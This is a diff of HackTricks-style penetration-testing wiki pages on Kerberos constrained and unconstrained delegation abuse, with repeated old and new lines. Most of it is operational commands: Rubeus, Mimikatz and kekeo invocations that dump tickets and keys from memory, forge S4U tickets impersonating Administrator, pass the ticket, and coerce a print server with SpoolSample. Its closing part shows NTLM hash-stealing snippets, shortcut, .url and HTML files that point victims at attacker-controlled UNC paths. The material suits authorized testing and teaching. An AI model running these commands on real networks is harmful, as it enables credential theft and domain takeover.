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GitBook: [#3380] No subject
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@ -18,9 +18,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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## Constrained Delegation
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Using this a Domain admin can allow 3rd parties to impersonate a user or computer against a service of a machine.
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Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against a **service** of a machine.
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* **Service for User to self (**_**S4U2self**_**):** If a **service account** has a _userAccountControl_ value containing [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.
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* **Service for User to self (**_**S4U2self**_**):** If a **service account** has a _userAccountControl_ value containing [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user.
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* **Service for User to Proxy(**_**S4U2proxy**_**):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.
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**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them.
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@ -36,32 +36,55 @@ Moreover, notice that if you have access to **LDAP service on DC**, you will hav
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#ADSearch
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ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json</code></pre>
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{% code title="Using kekeo.exe + Mimikatz.exe" %}
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```bash
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#Obtain a TGT for the Constained allowed user
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<pre class="language-bash" data-title="Get TGT"><code class="lang-bash"># The first step is to get a TGT of the service taht can impersonate others
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## If you are SYSTEM in the server, you might take it from memory
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.\Rubeus.exe triage
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.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
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# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
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<strong>## Get AES/RC4 with mimikatz
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</strong>mimikatz sekurlsa::ekeys
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## Request with aes
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<strong>tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
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</strong>.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
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# Request with RC4
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tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
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#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
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tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
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#Load the TGS in memory
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Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
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```
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{% endcode %}
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.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi</code></pre>
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{% code title="Using Rubeus" %}
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```bash
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#Obtain a TGT for the Constained allowed user
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.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
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#Obtain a TGS of the Administrator user to self
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
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#Obtain service TGS impersonating Administrator (CIFS)
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
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#Impersonate Administrator on different service (HOST)
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
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# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
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\.Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
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#Load ticket in memory
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.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
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```
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{% endcode %}
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{% code title="kekeo + Mimikatz" %}
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```bash
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#Obtain a TGT for the Constained allowed user
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tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
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#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
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tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
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#Load the TGS in memory
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Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
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```
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{% endcode %}
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### Mitigation
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* Disable kerberos delegation where possible
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@ -1,4 +1,4 @@
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# Unconstrained Delegation
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<details>
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@ -16,7 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details>
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## Unconstrained delegation
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# Unconstrained delegation
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This a feature that a Domain Administrator can set to any **Computer** inside the domain. Then, anytime a **user logins** onto the Computer, a **copy of the TGT** of that user is going to be **sent inside the TGS** provided by the DC **and saved in memory in LSASS**. So, if you have Administrator privileges on the machine, you will be able to **dump the tickets and impersonate the users** on any machine.
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@ -24,25 +25,19 @@ So if a domain admin logins inside a Computer with "Unconstrained Delegation" fe
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You can **find Computer objects with this attribute** checking if the [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) attribute contains [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx). You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:
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<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
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## Powerview
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```bash
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Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
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<strong>## ADSearch
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</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
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<strong># Export tickets with Mimikatz
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</strong>privilege::debug
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#Export tickets with Mimikatz
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privilege::debug
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sekurlsa::tickets /export #Recommended way
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kerberos::list /export #Another way
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# Monitor logins and export new tickets
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.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
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```
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Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\
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More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
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[**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
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### **Automatically compromising a Print server**
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## **Automatically compromising a Print server**
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If an attacker is able to **compromise a computer allowed for "Unconstrained Delegation"**, he could **trick** a **Print server** to **automatically login** against it **saving a TGT** in the memory of the server.\
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Then, the attacker could perform a **Pass the Ticket attack to impersonate** the user Print server computer account.
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@ -50,17 +45,18 @@ Then, the attacker could perform a **Pass the Ticket attack to impersonate** the
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To make a print server login against any machine you can use [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
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```bash
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.\SpoolSample.exe <printmachine> <unconstrinedmachine>
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.\SpoolSample.exe printmachine unconstrinedmachine
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```
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If the TGT if from a domain controller, you could perform a[ **DCSync attack**](acl-persistence-abuse.md#dcsync) and obtain all the hashes from the DC.\
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[**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
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### Mitigation
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## Mitigation
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* Limit DA/Admin logins to specific services
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* Set "Account is sensitive and cannot be delegated" for privileged accounts.
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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@ -76,3 +72,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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@ -237,7 +237,7 @@ IconIndex=1337
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We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory.
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```powershell
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```
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Set shl = CreateObject("WScript.Shell")
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Set fso = CreateObject("Scripting.FileSystemObject")
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currentFolder = shl.CurrentDirectory
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@ -254,7 +254,7 @@ sc.Save
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The Powershell version.
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```powershell
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```
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$objShell = New-Object -ComObject WScript.Shell
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$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")
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$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"
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@ -269,7 +269,7 @@ $lnk.Save()
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Another shortcut in Windows is the Internet shortcuts. You can save this as something.url
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```bash
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```
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echo [InternetShortcut] > stealMyHashes.url
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echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url
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```
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@ -301,7 +301,7 @@ Start-Process \\192.168.0.1\aa
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IE will resolve UNC paths. For example
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```html
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```
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<img src="\\\\192.168.0.1\\aa">
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```
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